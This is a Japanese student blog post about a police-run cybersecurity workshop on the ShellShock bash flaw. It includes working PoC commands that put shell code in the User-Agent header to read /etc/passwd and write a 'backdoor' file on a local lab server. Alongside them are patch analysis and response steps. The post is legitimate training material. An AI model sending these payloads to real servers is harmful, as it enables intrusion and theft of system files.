hisakuの日記

hisakuの日記

エンジニアを目指す学生の雑多ブログ(現在はエンジニア)

SC4Y('20#1)サイバーセキュリティ 脆弱性対応(防災訓練)に参加しました

f:id:hisakuuU:20210912210700p:plain
SC4Y

 

SC4Yとは

北海道警察のサイバーセキュリティ本部が行うセキュリティのやつ  

(説明聞いてたけど忘れました。)

sc4yはオンライン開催で行われ、zoomのブレイクアウトルームも活用し、大変手厚い対応の講習会でした。 

ShellShock

ハンズオンの題材はShellShockでした。  

一言でいうと  

GNU bash における任意のコマンドを実行される脆弱性です。  

 

どれくらい危険なの?

脆弱性情報データベースの基本値10.0(危険値)

10段階のマックス値!  

jvndb.jvn.jp

 

なぜ題材にした?

比較的簡単かつ影響度の高い攻撃が成立した 影響範囲が広く、世界中で話題になった 過去の事件を学び明日に備えるから

 

主に以下の流れでハンズオンが進められました。↓  

  1. 脆弱性とは何かを知る

  2. 脆弱性情報の集め方

  3. 脆弱性を比較的安全に確認できるLAB環境の構築方法

  4. PoCによる脆弱性の確認方法と対策

  5. 脆弱性の対処スキルを習
     

事前準備で自PCのVirtualboxにLab環境を設定しました。 

当日はpowershellでLabに攻撃(PoC 簡略すると確認用のテストコードを実行)しました。

windowsの場合

 

(iwr -UserAgent ‘() { :;}; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd’  http://127.0.0.1/test.php).Content

環境変数の文字列がコマンドとして実行されている。  

GNUのパッチの中身を確認すると  

渡された環境変数の文字列が関数なのかフィルタするために 条件分岐に () { がハードコーディングされている

env x='() { :;}; echo vulnerable

関数扱いの条件をtrueにするための文字列 (){

複数のコマンドを実行するために分離 :;} は文法が正しければ何でもいい 例

env x='() { echo;}; echo vulnerable'

環境変数に攻撃的なコードを埋め込めよう!   

(iwr -UserAgent "() { :; }; echo Content-Type: text/html; echo ; echo hacked > /tmp/backdoor"
http://127.0.0.1/test.php).Content

※ Lab環境で後で確認

コマンドが実行できるなら rm -rf ./は?  

HTTPDで可能な操作はApache権限 /root を参照したり、データの削除は不可でできないらしい。  

Labでログ調査、変更ファイル探し  

まず、攻撃された箇所を見つけたら検証する必要がある。その後の対応のため。
脆弱性が見つかったら、一人で抱え込まないで上司に相談する。

サービスとめたり、パッチ出したり、組織のルールにもとづいた行動をとる。

先ほどの

(iwr -UserAgent "() { :; }; echo Content-Type: text/html; echo ; echo hacked > /tmp/backdoor"
http://127.0.0.1/test.php).Content

/tmp/backdoorに作ったファイルを確認する
tmpにファイルがなかった!

なぜ?
CentOS6 以前の場合(initrd)は/tmp直下に配置される CentOS7 からはsystemdが採用され、セキュアになっているらしい   

そのため、

systemd-private-jkfajdsj/tmp/backdoor

にありました。
 

github.com

感想

脆弱性の情報収集の仕方を知れたのはとてもありがたかったです。

今後気になる脆弱性を調べるときに参考になる内容でした。

ちな、ShellShock見つけた人はお風呂でひらめいたらしい。 (スゴ)

今後お風呂で脆弱性みつけたらIPAの窓口に報告します。  

意義ある活動だよねSC4Y
ありがとうございました。

www.virustotal.com